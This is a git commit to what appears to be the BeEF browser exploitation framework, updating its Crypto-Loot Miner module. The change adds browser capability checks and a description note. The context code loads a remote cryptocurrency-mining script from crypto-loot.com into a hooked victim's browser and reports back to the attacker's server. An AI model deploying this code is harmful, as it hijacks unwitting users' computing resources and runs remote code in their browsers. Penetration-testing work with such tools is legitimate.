Add check for web sockets and web workers

This commit is contained in:
Brendan Coles
2017-11-26 10:25:18 +00:00
parent e7c5479b1c
commit fc480cd117
2 changed files with 13 additions and 1 deletions

View File

@@ -13,6 +13,18 @@ beef.execute(function() {
var comm_id = <%= @command_id %>;
var report_interval = +(<%= @report_interval %>) * 1000; // to miliseconds
if (!beef.browser.hasWebSocket()) {
beef.debug('[CryptoLoot] Error: browser does not support WebSockets');
beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebSockets", beef.are.status_error());
return;
}
if (!beef.browser.hasWebWorker()) {
beef.debug('[CryptoLoot] Error: browser does not support WebWorkers');
beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebWorkers", beef.are.status_error());
return;
}
beef.debug("[CryptoLoot] Loading library...");
beef.net.send(comm_url, comm_id, "[CryptoLoot] Loading library...");
beef.dom.loadScript('https://crypto-loot.com/lib/miner.min.js');

View File

@@ -13,7 +13,7 @@ beef:
enable: true
category: "Misc"
name: "Crypto-Loot Miner"
description: "This module starts the Crypto-Loot Miner."
description: "This module starts the Crypto-Loot Miner. It's worth noting that the module will not work with the default Crypto-Loot proxies as the certificates for the web socket servers are self-signed."
authors: ["qutorial"]
target:
user_notify: ['ALL']